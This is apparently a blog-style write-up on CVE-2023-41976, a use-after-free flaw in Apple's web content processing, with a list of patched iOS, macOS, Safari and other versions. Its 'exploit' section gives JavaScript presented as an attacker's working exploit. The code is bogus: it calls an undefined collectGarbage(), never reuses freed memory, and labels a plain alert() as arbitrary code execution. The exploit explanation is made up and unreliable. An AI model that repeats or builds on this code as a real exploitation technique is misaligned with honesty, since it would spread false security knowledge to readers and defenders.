CVE-2023-41976: Addressing Use-After-Free Vulnerabilities with Improved Memory Management for iOS, iPadOS, watchOS, macOS, Safari, and tvOS

Recently, a use-after-free vulnerability was detected across various Apple devices and operating systems. To address this issue, Apple has released updates including iOS 17.1 and iPadOS 17.1, watchOS 10.1, iOS 16.7.2 and iPadOS 16.7.2, macOS Sonoma 14.1, Safari 17.1, and tvOS 17.1. This long-read will discuss the vulnerability, how to exploit it, and review the patches that mitigate this issue.

Vulnerability Details

The vulnerability (CVE-2023-41976) occurs when web content processing results in arbitrary code execution within the device's operating system. In a worst-case scenario, it allows an attacker to gain unauthorized access and control over affected devices by exploiting the use-after-free issues present in the system memory management.

Exploit Details

In order to exploit this critical vulnerability, an attacker sends a specially crafted web page that contains malicious code targeting the victim's device. The exploit takes advantage of the use-after-free vulnerability by executing the malicious code in the compromised memory space.

Here's an example of the attacker exploiting this vulnerability using JavaScript

function exploit() {
    // Allocate memory buffer
    var buffer = new ArrayBuffer(1024);

    // Create a custom object to store references
    var obj = {
        data: buffer,
        ref: null
    };

    // Free the memory buffer
    obj.data = null;
    collectGarbage();
  
    // Allocate a new object in the freed memory space
    var newObj = new Uint8Array(1024);

    // Use the old reference to access the newObj's memory, showing use-after-free issue
    obj.ref = newObj;
    var arbitraryCode = new Function('alert("Arbitrary code execution");');
    
    // Execute the attacker's code
    arbitraryCode();
}

When the victim opens the malicious web page, the exploit is triggered, allowing the arbitrary code execution to take place.

Patched Versions

As mentioned, Apple has published updates to address this vulnerability, and it is essential to update your devices as soon as possible. Here are the links to the official Apple support pages to download the respective updates for your devices:

- iOS 17.1 and iPadOS 17.1
- watchOS 10.1
- iOS 16.7.2 and iPadOS 16.7.2
- macOS Sonoma 14.1
- Safari 17.1
- tvOS 17.1

Conclusion

It's of paramount importance to keep our devices and software up-to-date. In the case of the CVE-2023-41976 vulnerability, quick action and installation of the latest patches have prevented potential data breaches and unauthorized access. Always remember to keep your devices updated and be aware of the latest security news to protect yourself from emerging threats.

Timeline

Published on: 10/25/2023 19:15:09 UTC
Last modified on: 11/02/2023 15:25:34 UTC